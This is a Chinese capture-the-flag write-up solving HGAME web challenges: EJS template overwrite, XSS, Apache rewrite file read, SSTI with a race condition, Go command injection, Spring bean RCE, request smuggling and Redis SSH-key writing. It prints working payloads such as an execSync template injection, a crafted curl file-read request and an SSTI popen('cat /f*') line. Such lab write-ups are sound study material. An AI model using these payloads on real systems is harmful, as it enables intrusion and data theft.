看到大家都做了,来打着玩
Level 24 Pacman
我找了有一会儿,不好找
Level 47 BandBomb
稍微改改,自己起本地测试一下
1 | npm init -y |
然后目录结构是这样子
1 | // app.js |
1 | // mortis.ejs |
然后上传文件发现确实是创建了目录并且上传成功了,但是就是访问不到,重命名确实可以但是也没啥感觉
1 | { |
回头好好看了看代码,感觉可以目录穿越把flag打印出来,测试一下,发现不成功,访问不了文件,并且不是热加载,看到ejs
是模版引擎,可以进行模版注入,找篇文章复现一下
1 | // app.js |
1 | // index.ejs |
那现在就是只要把文件覆盖了就可以RCE了,我们知道文件为/views/mortis.ejs
,我一直改包,发现上传文件哪里是自动锁定了在uploads/
,终于发现在改名可以实现目录穿越
1 | { |
成功覆盖了,但是这个文件上传上去会发现不能成功RCE
1 | <% global.process.mainModule.require('child_process').execSync('dir > ./public/test').toString() %> |
访问/static/test
Level 69 MysteryMessageBoard
先是弱密码
1 | shallot\888888 |
一眼xss,
1 | <script>alert(1)</script> |
然后访问/admin
,再回来刷新就可以拿到,但是很难拿到,经常X到自己,然后访问/flag
,所以换种方法
1 | <script> |
但是也很难拿到,稍微改了一下发包格式就不行,而且还会有靶机重置,服了
Level 38475 角落
一点源码都没有,扫描看看有没有东西存在
1 | # Include by httpd.conf |
可以知道是阿帕奇,并且重写规则,带UA头可以进行任意文件读取,查找一下看看能不能把源码泄露了
继续去找文档发现版本CVE
1 | curl -X GET "http://node2.hgame.vidar.club:31443/admin/usr/local/apache2/app/app.py%3f" -H "User-Agent: L1nk/" |
带个?
就可以正确读取到了
1 | from flask import Flask, request, render_template, render_template_string, redirect |
/read
路由进行模版渲染,/send
写入文件,然后主页面也要访问,不过这里检验了{
,条件竞争解决这个问题,只要一瞬间没有检验到我们的{
即可,所以在/send
这里我们写两个包,/read
这里写一个包
概率还是很高的
1 | {{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('cat /f*').read()}} |
Level 25 双面人派对
开局给了一个RE的附件,不做了,推荐看infernity的博客,我觉得他应该会更新的,我友链里面(webking)
Level 21096 HoneyPot
先链接数据库,看到要RCE,writeflag
来得到flag,想加表,结果失败了,不让加,那么漏洞位置就只有导入数据了,搜索func
,看到可疑函数ImportData
,其中有命令执行的部分,关键代码
1 | func ImportData(c *gin.Context) { |
利用exec.Command
进行命令执行,那我们把参数拼接到里面就可以了,不需要远程加载
1 | POST /api/import |
访问/flag
Level 21096 HoneyPot_Revenge
CVE-2024-21096 mysqldump命令注⼊,回头有空再打
Level 60 SignInJava
找到路由/api/gateway
并且发现beanName
过滤了flag
关键代码如下
1 | package icu.Liki4.signin.util; |
invokeBeanMethod
方法可以通过invoke
来调用beanName
对应的 Spring Bean,先注册一个 RuntimeUtil
Bean,利用 hutool
的 RuntimeUtil
类执行命令(RCE)。通过反射,攻击者可以调用 SpringUtil
的 registerBean
方法,将 RuntimeUtil
注册到 Spring 容器中,就可以调用execForStr
来进行RCE了
1 | POST /api/gateway |
1 | POST /api/gateway |
题目好像是不出网的,弹不成功
Level 111 不存在的车厢
1 | listener, err := net.Listen("tcp", "127.0.0.1:8080") |
这里进行了链接的复用
1 | func WriteH111Request(writer io.Writer, req *http.Request) error { |
这里对长度进行了计算和写入,也就是说可能溢出,引用出题人的话
研究H111协议序列化代码的时候可以发现,H111协议满⾜⼀个 Len+Data 的格式,同时所有的 Length字段都是uint16并且没有任何溢出检查,所以当⼀个⼤于uint16最⼤值的Length被序列化时会 产⽣整数溢出,改变序列化后的语义。 当 Len 为 65536 的时候,会溢出为0,此时读取⻓度为0的Data,后⾯这段数据会被搁置。 随后,我们观察到,H111协议存在 pipeline 以及连接复⽤,我们前⾯搁置的部分数据会被按照第⼆个 请求解析并响应,在外部第⼆个请求打到 proxy 的时候,有⼀定概率复⽤同个连接并⾛私出这⼀部分 response
也就是说打这个溢出,我们就可能走私到数据,写一个程序,看看溢出的极限是多少
1 | package protocol |
然后运行go test -v
,这个命令是寻找所有_test.go
并且运行Test
开头的函数
转化为十进制然后补零补到65536
1 | GET / |
多发几次包访问/flag
即可,本来打算高并发了,结果一看成功了,就发了几次包
Level 257 日落的紫罗兰
给了个TCP,又没有东西,所以选择扫描一下,结果没有扫出来,直接nc发现一个是ssh一个是Redis
1 | root@dkcjbRCL8kgaNGz:~# nc node1.hgame.vidar.club 32204 |
题目给了一个user.txt
,Redis可以用来写入sshKey,ssh就可控了,再上传ldap来进行java提权,先处理Redis的部分,其中应该是进行了遍历得知mysid是用户名
1 | ssh-keygen -t rsa |
然后连ssh再来提权
1 | ssh -i id_rsa mysid@node1.hgame.vidar.club -p 32204 |